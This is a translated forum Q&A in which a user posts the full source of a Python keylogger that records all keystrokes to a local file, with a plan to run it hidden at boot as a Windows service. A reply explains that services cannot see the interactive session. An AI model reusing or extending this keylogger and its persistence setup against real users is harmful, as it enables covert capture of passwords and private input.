我有一个键盘记录程序,我使用 pyinstaller 将其转换为 .exe,然后使用 NSSM(非吸吮服务管理器)在启动时运行该文件。该文件将所有按下的按键放入 .txt 文件中;但是,它在启动时根本不起作用。当我打开 Windows 服务时,状态为“正在运行”,但我没有看到 .txt 文件正在更新。但是,当我自己运行可执行文件时,它工作正常。
如果有人想知道我是否正在用这个窃取密码,那么让我告诉你这是我大学网络安全课程的一个项目。
import os
from pynput import keyboard
# Set absolute path to the log file
log_file_path = r"F:\Coding\PYTHON-PRACTICE\keylogger\dist\keyfile.txt"
# Ensure the directory exists
os.makedirs(os.path.dirname(log_file_path), exist_ok=True)
# Function to log key presses
def keyPressed(key):
with open(log_file_path, 'a') as logKey:
try:
char = key.char
logKey.write(char)
except AttributeError:
logKey.write(f'[{str(key)}]')
if __name__ == "__main__":
# Start the listener for key presses
listener = keyboard.Listener(on_press=keyPressed)
listener.start()
listener.join() # Keep the listener running
我使用 NSSM(Non-Sucking Service Manager)在启动时运行该文件。 [...] 当我打开 Windows 服务时
NSSM 显然将应用程序安装为 Windows 服务。 Windows 服务无法访问交互式会话(有人在键盘上打字的会话),因为它们通常在此类交互式会话开始之前就启动了。 (还要考虑一台机器可能有多个交互式会话,例如远程桌面会话。)
当我自己运行可执行文件时,它工作正常。
因为您是在交互式会话中运行它。